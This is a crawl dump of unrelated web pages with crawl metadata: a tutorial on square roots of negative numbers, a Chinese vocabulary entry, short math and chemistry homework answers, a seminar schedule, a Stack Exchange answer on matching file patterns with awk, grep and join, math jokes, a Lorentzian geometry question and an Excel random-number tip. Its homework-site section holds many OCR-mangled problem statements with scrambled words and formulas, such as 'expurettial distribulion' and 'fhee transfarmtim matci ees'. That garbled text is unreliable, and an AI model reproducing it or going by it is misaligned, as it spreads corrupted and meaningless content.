The Square Root of a Negative Number\n\nComplex numbers allow us to compute the square root of negative numbers, like $\\,\\sqrt{-4}\\$.\nRemember the key fact: $\\,i:=\\sqrt{-1}\\,$, so that $\\,i^2=-1\\,$\n\nTHE SQUARE ROOT OF A NEGATIVE NUMBER\nLet $\\,p\\,$ be a positive real number, so that $\\,-p\\,$ is a negative real number. Then: $$\\overbrace{\\ \\ \\ \\sqrt{-p}\\ \\ \\ }^{\\text{the square root of negative \\,p\\,}} \\ :=\\ i\\,\\sqrt{\\vphantom{h}p}$$\n(Note: when the distinction becomes important in higher-level mathematics, then $\\,\\sqrt{-p}\\,$ is called the principal square root of $\\,-p\\,$.)\n\nObserve that $\\,i\\sqrt{\\vphantom{h}p}\\,$, when squared, does indeed give $\\,-p\\$: $$(i\\sqrt{\\vphantom{h}p})^2 \\ =\\ i^2(\\sqrt{\\vphantom{h}p})^2 \\ =\\ (-1)(p) \\ =\\ -p$$\n\nSome of my students like to think of it this way:\nYou can slide a minus sign out of a square root, and in the process, it turns into the imaginary number $\\,i\\,$!",
null,
"Here are some examples:\n\n• $\\sqrt{-4} = i\\sqrt{4} = i2 = 2i\\,$\n\nIt is conventional to write $\\,2i\\,$, not $\\,i2\\,$.\nWhen there's no possible misinterpretation (see below), write a real number multiplier before the $\\,i\\,$.\n\n• $\\sqrt{-5} = i\\sqrt{5}$\n\nIn this situation, it's actually better to leave the $\\,\\sqrt{5}\\,$ after the $\\,i\\,$.\nWhy? If you pull the $\\,\\sqrt{5}\\,$ to the front, it can lead to a misinterpretation, as follows:\nThe numbers $\\,\\sqrt{5}i\\,$ and $\\,\\sqrt{5i}\\,$ are different numbers—look carefully!\nIn $\\ \\sqrt{5}i\\$, the $\\,i\\,$ is outside the square root.\nIn $\\ \\sqrt{5i}\\$, the $\\,i\\,$ is inside the square root.\nUnless you look carefully, however, you might mistake one of these for the other.\nBy writing $\\,i\\sqrt{5}\\,$, you eliminate any possible confusion.\n\n• TWO DIFFERENT QUESTIONS; TWO DIFFERENT ANSWERS\n\nRecall these two different questions, with two different answers:\n\n• What is $\\,\\sqrt{4}\\,$?\nAnswer: By definition, $\\,\\sqrt{4} = 2\\,$.\nThe number $\\ \\sqrt{4}\\$ is the nonnegative number which, when squared, gives $\\,4\\,$.\n• What are the solutions to the equation $\\,x^2 = 4\\,$?\nAnswer: $\\,x= \\pm\\ 2\\,$\nThere are two different real numbers which, when squared, give $\\,4\\,$.\n\nSimilarly, there are two different questions involving complex numbers, with two different answers:\n\n• What is $\\,\\sqrt{-4}\\,$?\nAnswer: $\\sqrt{-4} = 2i\\,$\n• What are the (complex) solutions to the equation $\\,x^2 = -4\\,$?\nAnswer: $\\,x=\\pm \\sqrt{-4} = \\pm\\ 2i\\,$\nThere are two different complex numbers which, when squared, give $\\,-4\\,$.\nVerifying the second solution: $\\,(-2i)(-2i) = 4i^2 = 4(-1) = -4$\n\n## Square Roots of Products\n\nThe following statement is true: for all nonnegative real numbers $\\,a\\,$ and $\\,b\\,$, $\\,\\sqrt{ab} = \\sqrt{a}\\sqrt{b}\\$.\nFor nonnegative numbers, the square root of a product is the product of the square roots.\n\nDoes this property work for negative numbers, too?\nThe answer is NO, as shown next.\n\nCertainly, anything called ‘the square root of $\\,-4\\,$’ must have the property that, when squared, it equals $\\,-4\\$.\nUnfortunately, the following incorrect reasoning gives the square as $\\,4\\,$, not $\\,-4\\,$: $$\\text{? ? ? ? }\\ \\ \\ \\ (\\sqrt{-4})^2 \\ \\ =\\ \\ \\sqrt{-4}\\sqrt{-4} \\overbrace{\\ \\ =\\ \\ }^{\\text{this is the mistake}}\\ \\ \\sqrt{(-4)(-4)}\\ \\ =\\ \\ \\sqrt{16}\\ \\ =\\ \\ 4\\ \\ \\ \\ \\text{? ? ? ? }$$ Here is the correct approach: $$(\\sqrt{-4})^2 \\ \\ =\\ \\ \\sqrt{-4}\\sqrt{-4}\\ \\ =\\ \\ i\\sqrt{4}\\ i\\sqrt{4} \\ \\ =\\ \\ i^2(\\sqrt{4})^2 \\ \\ =\\ \\ (-1)(4) \\ \\ =\\ \\ -4$$\n\nSimilarly, $\\,\\sqrt{-5}\\sqrt{-3}\\,$ is NOT equal to $\\,\\sqrt{(-5)(-3)}\\,$.\nInstead, here is the correct simplication: $$\\sqrt{-5}\\sqrt{-3} \\ \\ =\\ \\ i\\sqrt{5}\\ i\\sqrt{3} \\ \\ =\\ \\ i^2\\sqrt{5}\\sqrt{3} \\ \\ =\\ \\ (-1)\\sqrt{(5)(3)} \\ \\ =\\ \\ -\\sqrt{15}$$ Be careful about this!\n\nMaster the ideas from this section"
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http://top.zhan.com/cihui/ielts-integrity.html | [
"# integrity\n\n• 单词助记\n• 考点解读\n• 单词详解\n\n## 扫码背更多单词",
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"4周搞定2000+托福核心词\n\nintegr ity\n\nintegral = integr(完整) + al(...的) = 构成整体所必需的;完整的\n\nintegration = integr(完整) + ation(表结果) = 集合,综合\n\n+ 表性质\n\naccreditation = ac(加强) + cred(相信) + ity(表性质) + ate(表动词) = 加强信用→委派\n\nacidity = acid(酸) + ity(表性质) = 酸的性质→酸性\n\n[ɪnˈtɛɡrɪtɪ]\n\n• 托福\n• 雅思\n• 剑雅词频:1 核心词\n\nintegrity\n\n常考释义\n\n• n. 诚实\n变形词\n• 复数 integrities\n\n• 英汉双解\n• 同反义词\n• n. 完好;完善;健全<正式>\n\n• n. 完整;完全;统一<正式>\n\n• n. 正直;诚实\n\n• 同义词\n\nn.诚实;正直; 统一;一致;联合;\n\n反义词\n\nn. 伪善;虚伪;矫饰;\n\n• 每日搜索热词排行榜",
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https://www.enotes.com/homework-help/describe-how-find-inverse-function-y-3x-12-262861 | [
"# Describe how to find the inverse of function y=3x+12?",
null,
"We need to find the inverse of y = 3x + 12. For this, express x in terms of y.\n\ny = 3x + 12\n\n=> 3x = y - 12\n\n=> x = y/3 - 4\n\nsubstitute x and y.\n\n=> y = x/3 - 4\n\nThe inverse of y = 3x + 12 is y = x/3 - 4\n\nApproved by eNotes Editorial Team"
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https://www.clutchprep.com/chemistry/practice-problems/116522/an-aqueous-nacl-solution-is-made-using-126-g-of-nacl-diluted-to-a-total-solution | [
"# Problem: An aqueous NaCl solution is made using 126 g of NaCl diluted to a total solution volume of 1.15 L .Calculate the molarity of the solution.\n\n87% (80 ratings)\n###### Problem Details\n\nAn aqueous NaCl solution is made using 126 g of NaCl diluted to a total solution volume of 1.15 L .\n\nCalculate the molarity of the solution.\n\nFrequently Asked Questions\n\nWhat scientific concept do you need to know in order to solve this problem?\n\nOur tutors have indicated that to solve this problem you will need to apply the Molarity concept. You can view video lessons to learn Molarity. Or if you need more Molarity practice, you can also practice Molarity practice problems."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.93222535,"math_prob":0.81803465,"size":475,"snap":"2021-04-2021-17","text_gpt3_token_len":103,"char_repetition_ratio":0.14225054,"word_repetition_ratio":0.0,"special_character_ratio":0.20210527,"punctuation_ratio":0.08791209,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98370147,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-18T01:55:58Z\",\"WARC-Record-ID\":\"<urn:uuid:b1f02a21-7f5e-484e-bbfc-219bb67ca2a8>\",\"Content-Length\":\"154230\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:eae6b3e6-3ac2-436c-b56b-007b039956e7>\",\"WARC-Concurrent-To\":\"<urn:uuid:b21382b1-7a8d-4c89-a48a-784f37f6435b>\",\"WARC-IP-Address\":\"54.159.163.191\",\"WARC-Target-URI\":\"https://www.clutchprep.com/chemistry/practice-problems/116522/an-aqueous-nacl-solution-is-made-using-126-g-of-nacl-diluted-to-a-total-solution\",\"WARC-Payload-Digest\":\"sha1:EKCJJA7FL3VTF7USYUTRR5R2KV4RVVTZ\",\"WARC-Block-Digest\":\"sha1:QHP7H2QTTW2DRCMU354SHMKIG6M7WWEQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038464146.56_warc_CC-MAIN-20210418013444-20210418043444-00479.warc.gz\"}"} |
https://itprospt.com/num/17728130/2-52-35-what-is-the-range-of-the-function-g-x | [
"5\n\n# 2 +52 35_ What is the range of the function g(x)...\n\n## Question\n\n###### 2 +52 35_ What is the range of the function g(x)\n\n2 +52 3 5_ What is the range of the function g(x)",
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"#### Similar Solved Questions\n\n##### Find th cu-cm: 30,000 volume 'pasn H top unoue and closed base that minimizes the square 1 38 (8 pts) dimensionsvalue pressure the blood verify resulting sure Be the occur? dru ] (cc) ofa certain 0.16 blood 3 maximum centimeters the cubic Genti gptsyill (r)a Eeyofx what dosage aBesop - maximum: approximate At 2drug? (2 pts for pressure blood maximum the What\nFind th cu-cm: 30,000 volume 'pasn H top unoue and closed base that minimizes the square 1 38 (8 pts) dimensions value pressure the blood verify resulting sure Be the occur? dru ] (cc) ofa certain 0.16 blood 3 maximum centimeters the cubic Genti gptsyill (r)a Eeyofx what dosage aBesop - maximum...\n##### Suppose that Y, Yz; Yn denote random sample of size from population with an expurettial distribulion whose detsity is given by(1/0)e->fly)elsewhere.If Ya) min(Y , Yz, denotes the smallest-order statistic show that 6 = nY) is an unbiased estimator for 0 and find MSE(O).\nSuppose that Y, Yz; Yn denote random sample of size from population with an expurettial distribulion whose detsity is given by (1/0)e-> fly) elsewhere. If Ya) min(Y , Yz, denotes the smallest-order statistic show that 6 = nY) is an unbiased estimator for 0 and find MSE(O)....\n##### 2) Recall that for any quadratic equation of the form ax2 br + c = 0 with a,b,0 > 0, the quadratic formula gives us that the smaller root is: 6_ b2_c 11123Consider the quadratic equation 12 =0. Compute T1, using the formula above; in four-digit arithmetic with chopping:Suppose that the true four digit solution is €1 0.0054. Compute the relative and absolute error of your above approximationNow; rationalize the numerator of the expression for 11. Use this new expression to compute T1 for th\n2) Recall that for any quadratic equation of the form ax2 br + c = 0 with a,b,0 > 0, the quadratic formula gives us that the smaller root is: 6_ b2_c 11 123 Consider the quadratic equation 12 =0. Compute T1, using the formula above; in four-digit arithmetic with chopping: Suppose that the true fo...\n##### 5) (9 pts) Sketch the Lewis Dot Struclure for the sulfite ion; SO; ! Sketch all of the resonance fors and label the formal charges, if applicable\n5) (9 pts) Sketch the Lewis Dot Struclure for the sulfite ion; SO; ! Sketch all of the resonance fors and label the formal charges, if applicable...\n##### Consider the exponential function Q =ra ~. Letting 4 = In Q show that linear function of bv writing it in the formq b + mt. State the values of mandb:b =\nConsider the exponential function Q =ra ~. Letting 4 = In Q show that linear function of bv writing it in the formq b + mt. State the values of mandb: b =...\n##### Circular loop of wire, whose area is 0.20 m\" , lies so that an external, uniform magnetic field of magnitude 0.20 T is perpendicular to the face of the loop The magnetic field reverses its direction, and its magnitude changes to 0.10 Tin 1.0 \\$. Find the magnitude of the average induced emf during this period of time\ncircular loop of wire, whose area is 0.20 m\" , lies so that an external, uniform magnetic field of magnitude 0.20 T is perpendicular to the face of the loop The magnetic field reverses its direction, and its magnitude changes to 0.10 Tin 1.0 \\$. Find the magnitude of the average induced emf duri...\n##### 2. (10 points) Suppose thatf(,v 2) =r2 ytan z, 9(t) : (sin? t, cos 4,44) .points) Is f 0 @ well-defined? What about @0 f? Briefly justify your answers. points) Demonstrate your knowledge of the chain rule to find &n in terms of t. Lf you do not use the chain rule you will not receive credit for your work\n2. (10 points) Suppose that f(,v 2) =r2 ytan z, 9(t) : (sin? t, cos 4,44) . points) Is f 0 @ well-defined? What about @0 f? Briefly justify your answers. points) Demonstrate your knowledge of the chain rule to find &n in terms of t. Lf you do not use the chain rule you will not receive credit fo...\n##### Fhee transfarmtim matci ees Atenhrxs \" are one O onfo Write O \"no (n each cel( 'Qs' A = c[:]l:6Oxe-+o-Onlonte\nfhee transfarmtim matci ees Atenhrxs \" are one O onfo Write O \"no (n each cel( 'Qs' A = c[:]l: 6 Oxe-+o-Onl onte...\n##### Physicists describe certain properties, such as angular momentum and energy, as being conserved. What does this mean? Do these conservation laws imply that an individual object can never lose or gain angular momentum or energy? Explain your reasoning.\nPhysicists describe certain properties, such as angular momentum and energy, as being conserved. What does this mean? Do these conservation laws imply that an individual object can never lose or gain angular momentum or energy? Explain your reasoning....\n##### Question 10Wnat Is the molecular geometry araund the centra atom in PH3C)inearbentErIgonal pyramidaltetranedra\nQuestion 10 Wnat Is the molecular geometry araund the centra atom in PH3 C)inear bent ErIgonal pyramidal tetranedra...\n##### A pole-vaulter runs toward the launch point with horizontal momentum. Where does the vertical momentum come from as the athlete vaults over the crossbar?\nA pole-vaulter runs toward the launch point with horizontal momentum. Where does the vertical momentum come from as the athlete vaults over the crossbar?...\n##### QUESTIONPlease refer - the bear phylogeny shown beloyPolar Dear (RefhDear 0zPolar bear 01An erican black Dea\"Sloth bearSun bearAsiatic black bearSpectacied Dear 01Spectaclcd bear 02Bears highlighted in yellow hibernate Bears that are not highlighted do not hibernate_ Given this arrangement of descendants; which of the following would be the most parsimonious trait for ancestor exhibit?Tnis nor accurate it is just for the sake of this question:hibernatesdoes not hibernateBoth of the above ar\nQUESTION Please refer - the bear phylogeny shown beloy Polar Dear (Refh Dear 0z Polar bear 01 An erican black Dea\" Sloth bear Sun bear Asiatic black bear Spectacied Dear 01 Spectaclcd bear 02 Bears highlighted in yellow hibernate Bears that are not highlighted do not hibernate_ Given this arran...\nEntered Answer Preview 4/9 The answer above is NOT correct point) Determine whether the series bnverges,and if so find its sum 4*+3 gkH1 4/9 (Enter DNE if the sum does not exist ) Preview My Answers Submit Answers score Was recorded...\n##### Find the values of P, q and r Cari nilai-nilai p, 4 dan r. [4 markslmarkah] Find the value of m, if the composite index for the year 2015 based on the year 2013 is 12353 Cari nilai m, jika indeks gubahan 'pada tahun 2015 berasaskan tahun 2013 ialah 123.53. [3 marks/markah] Find the unit price of the electrical item for the vear 2015 if the unit price of the item for the year 2013 is RM425. Cari harga seunit barangan elektrik itu pada t telutz 2015 jika harga seunit barangan tersebut pada\nFind the values of P, q and r Cari nilai-nilai p, 4 dan r. [4 markslmarkah] Find the value of m, if the composite index for the year 2015 based on the year 2013 is 12353 Cari nilai m, jika indeks gubahan 'pada tahun 2015 berasaskan tahun 2013 ialah 123.53. [3 marks/markah] Find the unit price...\n##### After reading this section, write out the answers to these questions. Use complete sentences.When do you use the quadratic formula to solve a quadratic equation?\nAfter reading this section, write out the answers to these questions. Use complete sentences. When do you use the quadratic formula to solve a quadratic equation?...\n##### [3 Marks] Q 2) Evaluate:1) lim I,42) lim JIIS I+43) In the belowgraph (figure 1.1.2) _figure 1.1.2T(then find the value of the limit: lim f(z) I .\n[3 Marks] Q 2) Evaluate: 1) lim I,4 2) lim JIIS I+4 3) In the below graph (figure 1.1.2) _ figure 1.1.2 T( then find the value of the limit: lim f(z) I ...."
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"https://cdn.numerade.com/ask_images/0bfa6e6c51da4d35a05574c3584b110c.jpg ",
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"https://cdn.numerade.com/previews/64e0386a-ad1e-4d27-8c8c-c19c7e2fda93_large.jpg",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.78047913,"math_prob":0.9477327,"size":10011,"snap":"2022-27-2022-33","text_gpt3_token_len":2753,"char_repetition_ratio":0.10952333,"word_repetition_ratio":0.63564134,"special_character_ratio":0.26281092,"punctuation_ratio":0.12150434,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98971504,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-17T13:02:15Z\",\"WARC-Record-ID\":\"<urn:uuid:20b31540-91cd-4540-8434-3b064aabc0aa>\",\"Content-Length\":\"68137\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8264893f-a82e-45b7-831e-c7515e2a605c>\",\"WARC-Concurrent-To\":\"<urn:uuid:28ef1696-fc52-436f-b685-dc2d4ce77d6a>\",\"WARC-IP-Address\":\"104.26.7.163\",\"WARC-Target-URI\":\"https://itprospt.com/num/17728130/2-52-35-what-is-the-range-of-the-function-g-x\",\"WARC-Payload-Digest\":\"sha1:AUPJFRHZBO7VK3TX76GR2VJF6UELOAGW\",\"WARC-Block-Digest\":\"sha1:MEAKXVFDZOSNV64BVMCJZXQRVTLE2DIT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572908.71_warc_CC-MAIN-20220817122626-20220817152626-00091.warc.gz\"}"} |
https://webpages.uncc.edu/brvainbe/mathematical-physics-seminar.html | [
"# Mathematical Physics/PDE Seminar\n\nIn Spring 2021, the Math.Physics/PDE seminar meets Tuesdays 5:00 -6:15 pm online on Zoom. For more information please contact Boris Vainberg\n\n Back to the main page of the Department of Mathematics and Statistics\n\nApril 20, 2021\n\nS. Molchanov will finish his talk on the sparse potentials\n\nApril 20, 2021\n\nS. Molchanov will continue his talk on the sparse potentials.\n\nApril 13, 2021\n\nS. Molchanov will give a talk “Introduction to the spectral theory of lattice Schrodinger operators with sparse potentials\n\nAbstarct. The talk will present several results. In particular, we will describe the essential spectrum of lattice Schrodinger operators with sparse potentials and the point component of the spectral measure of the Schrodinger operator outside of the spectrum of the Laplacian. We will also discuss the open problems and possible approaches to their solutions.\n\nApril 6, 2021\n\nS. Molchanov will continue to talk on “Introduction to the spectral theory of Schrodinger operators with sparse potentials”\n\nAbstract: Kapitsa pendulum. Example of a band-gap spectrum. Review of results on the 1-D theory (Pearson, Kiselev-Last Simon, Molchanov, Cook-Holt-Molchanov).\n\nS. Molchanov will give a talk “Introduction to the spectral theory of Schrodinger operators with sparse potentials”\n\nAbstract: In the classical spectral theory of the Schrodinger operators H=-Δ+V(x) (i.e. in the quantum mechanics) there are two fundamental models:\n\na) V(x) vanishes at infinity (may be, with additional restriction on the rate of the decay of the potential). Examples. Hydrogen atom H, here V(x)=-c/|x|, general atoms and molecules, scattering theory.\n\nb) Periodic potentials. Examples. Theory of the ideal crystals, their heat and electric conductivities, theory of metals and semiconductors.\n\nPeriodic potentials are also related to the problem of stability of the mechanical system (Kapitsa pendulum). What happens between these two classical cases? The simplest intermediate models are the operators with the sparse potentials where there are infinitely many elementary scatterers (bumps) such that the distances between the bumps are growing to infinity. These models demonstrate many new effects.\n\nMarch 23, 2021\n\nO. Safronov will continue to talk on “Discrete spectrum of a periodic Schrodinger operator perturbed by a decaying impurity potential”\n\nAbstract: First, we explain how compact operators naturally appear in problems where one studies the flow of eigenvalues through a fixed point λ. In particular, if H(t)=H-t V where H is a differential operator and V is a positive decaying function, then one can reduce the study of eigenvalues of H(t) to the study of the operator W(H- λ )^{-1}W where W^2=V. The latter operator turns out to be compact. After that we will discuss applications of this reduction principle to the case of a periodic operator H.\n\nMarch 16, 2021\n\nO. Safronov will give a talk “Discrete spectrum of a periodic Schrodinger operator perturbed by a decaying impurity potential”\n\nAbstract. Let H be a periodic Schrodinger operator and let V be a positive fast decaying function on R^d. We consider the family of operators H(t)= H-tV. We study the number N(t) of eigenvalues of H(t) in a fixed interval [a,b] consisting of regular points of H. We obtain an asymptotic formula for N(t) as t goes to infinity. However, the limit in this asymptotic formula is understood in some integral Cesaro-like sense."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8576553,"math_prob":0.91655606,"size":3372,"snap":"2021-21-2021-25","text_gpt3_token_len":804,"char_repetition_ratio":0.14133017,"word_repetition_ratio":0.11753372,"special_character_ratio":0.20670225,"punctuation_ratio":0.10483871,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98424417,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-23T08:17:11Z\",\"WARC-Record-ID\":\"<urn:uuid:d5f26e8f-c7b0-48ee-87ad-384ee843f216>\",\"Content-Length\":\"55814\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:63a004fd-6023-45dc-a1d7-7f0dfafbd08a>\",\"WARC-Concurrent-To\":\"<urn:uuid:c997f8df-4370-443b-b37e-282061657b97>\",\"WARC-IP-Address\":\"152.15.36.56\",\"WARC-Target-URI\":\"https://webpages.uncc.edu/brvainbe/mathematical-physics-seminar.html\",\"WARC-Payload-Digest\":\"sha1:N2KKJE6Q45C4DSZ4PRW6YAN3LHY7TULW\",\"WARC-Block-Digest\":\"sha1:2MWQQ7F7FO5AVKG6PDUQYX7B67BZSPEQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623488536512.90_warc_CC-MAIN-20210623073050-20210623103050-00263.warc.gz\"}"} |
https://unix.stackexchange.com/questions/386598/grep-patterns-from-file1-into-column-of-file2 | [
"# grep patterns from file1 into column of file2\n\nI have two files:\n\n``````\\$ cat File1\nA\nB\nC\n``````\n``````\\$ cat File2\nA aaa B\nD bbb A\nB aaa h\n``````\n\nI would like to search patterns from `File1` into `File2`, a sort of what `grep -f File1 File2` would do, but searching the patterns reported in `File1` only in `\\$1` of `File2`\n\nSample output:\n\n``````\\$cat File3\nA aaa B\nB aaa h\n``````\n• Would it be acceptable to have a modified version of File1: `sed 's/^/^/' File1 > File1-anchored`? Then use that modified file as pattern file for `grep`. Aug 17, 2017 at 5:40\n\nWith `awk`:\n\n``````awk 'NR==FNR{a[\\$0]=NR; next} a[\\$1]' f1.txt f2.txt\n``````\n• `NR==FNR{a[\\$0]=NR; next}`: for first file (`f1.txt`) we are putting the record as key to an assiciative array with the corresponding record number as the value\n\n• `a[\\$1]`: for second file (`f2.txt`), the record is only printed if the first field is a key of array `a`\n\nExample:\n\n``````% cat f1.txt\nA\nB\nC\n\n% cat f2.txt\nA aaa B\nD bbb A\nB aaa h\n\n% awk 'NR==FNR{a[\\$0]=NR; next} a[\\$1]' f1.txt f2.txt\nA aaa B\nB aaa h\n``````\n\nUsing `join` command:\n\n``````join <(sort file1) <(sort file2)\n``````\n\nIf the files are sorted.\n\n``````join file1 file2\n``````\n\nWith `bash` or any shell that understands process substitution:\n\n``````\\$ grep -f <( awk '{ printf(\"^%s[[:blank:]]\\n\", \\$0) }' File1 ) File2\nA aaa B\nB aaa h\n``````\n\nThe idea here is to create the correct patterns for `grep -f File1` to work directly on `File2` by transforming each line in `File` from `something` to the regular expression `^something[[:blank:]]` (prefix it with a circumflex and suffix it with `[[:blank:]]`).\n\nThe circumflex anchors the pattern to the start of the line and `[[:blank:]]` forces a match against a space or a tab character.\n\nGNU `grep` may also read patterns from standard input:\n\n``````\\$ awk '{ printf(\"^%s[[:blank:]]\\n\", \\$0) }' File1 | grep -f - File2\nA aaa B\nB aaa h\n``````\n\nThe `awk` command may be replaced by an equivalent `sed` command (if you prefer `sed` over `awk`):\n\n``````\\$ sed -e 's/^/^/' -e 's/\\$/[[:blank:]]/' File1 | grep -f - File2\n``````"
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https://www.physicsforums.com/threads/math-joke-thread-lol.158839/page-2 | [
"I once came across a number of spoof proofs the only one of which I remember is the:-\n\nProof by Deferrred Responsibility\n\nAt school: The proof of this is too complicated at your current stage. When you get to University you will be given a proof.\n\nAt University: You will know from the maths you did at school that it is true that..........\n\nhere is another limerick:\n$$\\frac{12 + 144 + 20 + 3\\sqrt{4}}{7} + 5\\times11 = 9^2 + 0$$\n\nit says:\nA dozen, a gross, and a score,\nPlues three times the square root of four,\nDivided by seven,\nPlues five times eleven,\nIs nine squared, and not a bit more.\n\nGib Z\nHomework Helper\nO adding to the spoof proofs\n\nProof By Imtimidation:\n\"Trivial\"\n\nI particularly like that one :D\n\nProof by Confusing Notation:\nGood when you have access to at least 4 languages and special symbols.\n\nProof by Example:\n\"Lets try when n=2, the other 253 cases are analogous..\"\n\nmathwonk\nHomework Helper\nthe one about the wife and mistress is funny, because true. that is really what mathematicians are like. but i suspect only a mathematician (or a wife of one) would know this.\n\nSGT\nAt the time of the Iron Curtain, two mathematicians try to leave Polland by stealing an airplane.\nThey enter the aircraft and one of them tries to undestand the functions of the instruments. The other worries:\n\"Hurry up, we will be caught!\"\n\"Calm down, I´m a simple Pole in a complex plane!\"\n\n$$\\frac{\\sinx}{n} = 6$$\n\n$$\\frac{\\sinx}{n} = 6$$\ni didnt get this one.\n\nedit: oh, i see. you wanted to write $$\\frac{\\sin x}{n} = 6$$\n\nThere is three erors in this post.\n\nI will finish this post before you can say Jack Rob"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9709237,"math_prob":0.9773867,"size":611,"snap":"2020-10-2020-16","text_gpt3_token_len":141,"char_repetition_ratio":0.14003295,"word_repetition_ratio":0.7256637,"special_character_ratio":0.26022914,"punctuation_ratio":0.20714286,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9968211,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-26T17:00:57Z\",\"WARC-Record-ID\":\"<urn:uuid:09bb1fae-cce3-4538-ad7b-62e9f2ef9075>\",\"Content-Length\":\"91389\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:791aa284-c06e-45b6-b7c8-7e26fb7e340a>\",\"WARC-Concurrent-To\":\"<urn:uuid:3d43b834-d74d-45cb-9b24-6ee589aa405f>\",\"WARC-IP-Address\":\"23.111.143.85\",\"WARC-Target-URI\":\"https://www.physicsforums.com/threads/math-joke-thread-lol.158839/page-2\",\"WARC-Payload-Digest\":\"sha1:DP4IRRM6D6DLHYUU7JEZ6AHFGLRH5HCO\",\"WARC-Block-Digest\":\"sha1:Q45JUKOTYCAUXYYH6FSAD4NQJTESZ2SO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875146414.42_warc_CC-MAIN-20200226150200-20200226180200-00090.warc.gz\"}"} |
https://math.stackexchange.com/questions/2967855/a-non-orientable-surface-s-such-that-t-ps-is-time-type | [
"# A non-orientable surface $S$ such that $T_pS$ is time-type.\n\nI'm currently taking a course in Semi-Euclidean (Semi-Riemannian) Geometry and am given the task to give an example of a non-orientable surface $$S$$ in $$\\mathbb{R}^3_1$$ which is time-type.\n\nWith the Lorentzian dot product: $$\\langle u,v\\rangle = u_1v_1 + u_2v_2 - u_3v_3$$ We say that a vector is time-type whenever $$\\langle v,v\\rangle < 0$$. And we say that a surface is time-type iff the tangent plane to at any point in $$S$$ contains a time-type vector.\n\nI cannot think of an example that is non-orientable and time-type. We know the classic example of the mobius band which is non-orientable but there is at least one point where the tangent plane does not contain one such vector."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8908994,"math_prob":0.9984348,"size":682,"snap":"2019-13-2019-22","text_gpt3_token_len":190,"char_repetition_ratio":0.12241888,"word_repetition_ratio":0.0,"special_character_ratio":0.25953078,"punctuation_ratio":0.05925926,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99756056,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-26T11:49:49Z\",\"WARC-Record-ID\":\"<urn:uuid:0534953c-71e4-49fa-a231-bfe36997f020>\",\"Content-Length\":\"121923\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2bd5e183-1fde-4b06-96b7-d014b23304cb>\",\"WARC-Concurrent-To\":\"<urn:uuid:c9467a0e-5730-424e-a4ca-cab766231f98>\",\"WARC-IP-Address\":\"151.101.129.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/2967855/a-non-orientable-surface-s-such-that-t-ps-is-time-type\",\"WARC-Payload-Digest\":\"sha1:HSCIIODMRIGVBE35YMNW3SZ5IT2URXER\",\"WARC-Block-Digest\":\"sha1:SG2C36OLOVWT2SKWDEIAMDEK354LWH7Y\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232259126.83_warc_CC-MAIN-20190526105248-20190526131248-00308.warc.gz\"}"} |
http://www.webgenii.ca/generating-random-numbers-and-letters/ | [
"",
null,
"# Generating Random Numbers and Letters\n\nNeed to generate a random number? Excel has two formula variations that can do that for you.\n\nThe first is RAND, it generates a random value between 0 and 1. But if you need larger values, try RANDBETWEEN.\n\nRANDBETWEEN generates random numbers between a bottom and top value that you specify.\n\nLastly, if you need to generate a random letter value – try this formula: =CHAR(RANDBETWEEN(65,90))\n\nIn this formula the CHAR function returns the character symbol specified by a number. Letters A-Z are between 65 and 90.",
